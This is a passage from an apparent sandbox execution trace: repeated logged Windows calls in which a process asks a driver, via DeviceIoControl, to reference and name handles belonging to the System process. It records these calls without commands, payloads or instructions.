PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.320] ObReferenceObjectByHandle (in: Handle=0xffffffff800009a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80028915c0, HandleInformation=0x0) returned 0x0 [0135.320] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.320] PsReleaseProcessExitSynchronization () returned 0x2 [0135.320] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.320] ObQueryNameString (in: Object=0xfffffa80028915c0, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005473550) returned 0x0 [0135.320] ObfDereferenceObject (Object=0xfffffa80028915c0) returned 0x2 [0135.320] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.320] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.320] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.320] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.320] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.320] PsAcquireProcessExitSynchronization () returned 0x0 [0135.320] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.320] ObReferenceObjectByHandle (in: Handle=0xffffffff800009ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80025e94b0, HandleInformation=0x0) returned 0x0 [0135.320] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.320] PsReleaseProcessExitSynchronization () returned 0x2 [0135.320] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.320] ObQueryNameString (in: Object=0xfffffa80025e94b0, ObjectNameInfo=0xfffffa8003a1e044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003a1e044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.320] ObfDereferenceObject (Object=0xfffffa80025e94b0) returned 0x2 [0135.320] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.320] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.320] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.320] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.320] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.320] PsAcquireProcessExitSynchronization () returned 0x0 [0135.320] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.320] ObReferenceObjectByHandle (in: Handle=0xffffffff800009b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800d6f9f20, HandleInformation=0x0) returned 0x0 [0135.320] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.320] PsReleaseProcessExitSynchronization () returned 0x2 [0135.320] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.320] ObQueryNameString (in: Object=0xfffffa800d6f9f20, ObjectNameInfo=0xfffffa800204f044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800204f044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.320] ObfDereferenceObject (Object=0xfffffa800d6f9f20) returned 0x2 [0135.320] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.320] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.320] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.321] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.321] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.321] PsAcquireProcessExitSynchronization () returned 0x0 [0135.321] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.321] ObReferenceObjectByHandle (in: Handle=0xffffffff800009c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80022cf460, HandleInformation=0x0) returned 0x0 [0135.321] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.321] PsReleaseProcessExitSynchronization () returned 0x2 [0135.321] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.321] ObQueryNameString (in: Object=0xfffffa80022cf460, ObjectNameInfo=0xfffffa800203e044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800203e044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.321] ObfDereferenceObject (Object=0xfffffa80022cf460) returned 0x2 [0135.321] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.321] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.321] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.321] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.321] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.321] PsAcquireProcessExitSynchronization () returned 0x0 [0135.321] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.321] ObReferenceObjectByHandle (in: Handle=0xffffffff800009cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003585790, HandleInformation=0x0) returned 0x0 [0135.321] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.321] PsReleaseProcessExitSynchronization () returned 0x2 [0135.321] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.321] ObQueryNameString (in: Object=0xfffffa8003585790, ObjectNameInfo=0xfffffa8003a29044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003a29044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.321] ObfDereferenceObject (Object=0xfffffa8003585790) returned 0x2 [0135.321] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.321] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.321] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.321] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.321] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.321] PsAcquireProcessExitSynchronization () returned 0x0 [0135.321] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.321] ObReferenceObjectByHandle (in: Handle=0xffffffff800009dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002005b20, HandleInformation=0x0) returned 0x0 [0135.321] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.321] PsReleaseProcessExitSynchronization () returned 0x2 [0135.321] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.322] ObQueryNameString (in: Object=0xfffffa8002005b20, ObjectNameInfo=0xfffffa8003a6f044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003a6f044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.322] ObfDereferenceObject (Object=0xfffffa8002005b20) returned 0x2 [0135.322] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.322] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.322] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.322] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.322] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.322] PsAcquireProcessExitSynchronization () returned 0x0 [0135.322] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.322] ObReferenceObjectByHandle (in: Handle=0xffffffff800009ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80024e93c0, HandleInformation=0x0) returned 0x0 [0135.322] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.322] PsReleaseProcessExitSynchronization () returned 0x2 [0135.322] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.322] ObQueryNameString (in: Object=0xfffffa80024e93c0, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.322] ObfDereferenceObject (Object=0xfffffa80024e93c0) returned 0x2 [0135.322] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.322] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.322] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.322] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.322] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.322] PsAcquireProcessExitSynchronization () returned 0x0 [0135.322] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.322] ObReferenceObjectByHandle (in: Handle=0xffffffff800009f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80037aedf0, HandleInformation=0x0) returned 0x0 [0135.322] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.322] PsReleaseProcessExitSynchronization () returned 0x2 [0135.322] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.322] ObQueryNameString (in: Object=0xfffffa80037aedf0, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.322] ObfDereferenceObject (Object=0xfffffa80037aedf0) returned 0x2 [0135.322] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.322] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.322] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.322] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.322] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.322] PsAcquireProcessExitSynchronization () returned 0x0 [0135.322] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.323] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a04, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80037f0f20, HandleInformation=0x0) returned 0x0 [0135.323] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.323] PsReleaseProcessExitSynchronization () returned 0x2 [0135.323] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.323] ObQueryNameString (in: Object=0xfffffa80037f0f20, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0135.323] ObfDereferenceObject (Object=0xfffffa80037f0f20) returned 0x2 [0135.323] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.323] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.323] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.323] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.323] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.323] PsAcquireProcessExitSynchronization () returned 0x0 [0135.323] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.323] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a08, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003999380, HandleInformation=0x0) returned 0x0 [0135.323] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.323] PsReleaseProcessExitSynchronization () returned 0x2 [0135.323] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.323] ObQueryNameString (in: Object=0xfffffa8003999380, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005473550) returned 0x0 [0135.323] ObfDereferenceObject (Object=0xfffffa8003999380) returned 0x2 [0135.323] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.323] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.323] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.323] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.323] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.323] PsAcquireProcessExitSynchronization () returned 0x0 [0135.323] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.323] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a0c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8001a3a9a0, HandleInformation=0x0) returned 0x0 [0135.323] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.323] PsReleaseProcessExitSynchronization () returned 0x2 [0135.323] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.323] ObQueryNameString (in: Object=0xfffffa8001a3a9a0, ObjectNameInfo=0xfffffa80034947c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80034947c4, ReturnLength=0xfffff88005473550) returned 0x0 [0135.323] ObfDereferenceObject (Object=0xfffffa8001a3a9a0) returned 0x2 [0135.323] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.323] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.323] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.323] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.324] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.324] PsAcquireProcessExitSynchronization () returned 0x0 [0135.324] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.324] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80037f19f0, HandleInformation=0x0) returned 0x0 [0135.324] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.324] PsReleaseProcessExitSynchronization () returned 0x2 [0135.324] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.324] ObQueryNameString (in: Object=0xfffffa80037f19f0, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.324] ObfDereferenceObject (Object=0xfffffa80037f19f0) returned 0x2 [0135.324] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.324] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.324] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.324] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.324] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.324] PsAcquireProcessExitSynchronization () returned 0x0 [0135.324] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.324] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a2c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80037a73e0, HandleInformation=0x0) returned 0x0 [0135.324] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.324] PsReleaseProcessExitSynchronization () returned 0x2 [0135.324] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.324] ObQueryNameString (in: Object=0xfffffa80037a73e0, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.324] ObfDereferenceObject (Object=0xfffffa80037a73e0) returned 0x2 [0135.324] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.324] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.324] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.324] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.324] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.324] PsAcquireProcessExitSynchronization () returned 0x0 [0135.324] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.324] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a30, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003c3a350, HandleInformation=0x0) returned 0x0 [0135.324] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.324] PsReleaseProcessExitSynchronization () returned 0x2 [0135.324] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.324] ObQueryNameString (in: Object=0xfffffa8003c3a350, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.325] ObfDereferenceObject (Object=0xfffffa8003c3a350) returned 0x2 [0135.325] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.325] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.325] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.325] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.325] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.325] PsAcquireProcessExitSynchronization () returned 0x0 [0135.325] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.325] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a34, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80023b0c00, HandleInformation=0x0) returned 0x0 [0135.325] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.325] PsReleaseProcessExitSynchronization () returned 0x2 [0135.325] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.325] ObQueryNameString (in: Object=0xfffffa80023b0c00, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.325] ObfDereferenceObject (Object=0xfffffa80023b0c00) returned 0x2 [0135.325] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.325] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.325] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.325] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.325] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.325] PsAcquireProcessExitSynchronization () returned 0x0 [0135.325] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.325] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a40, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80037f5f20, HandleInformation=0x0) returned 0x0 [0135.325] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.325] PsReleaseProcessExitSynchronization () returned 0x2 [0135.325] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.325] 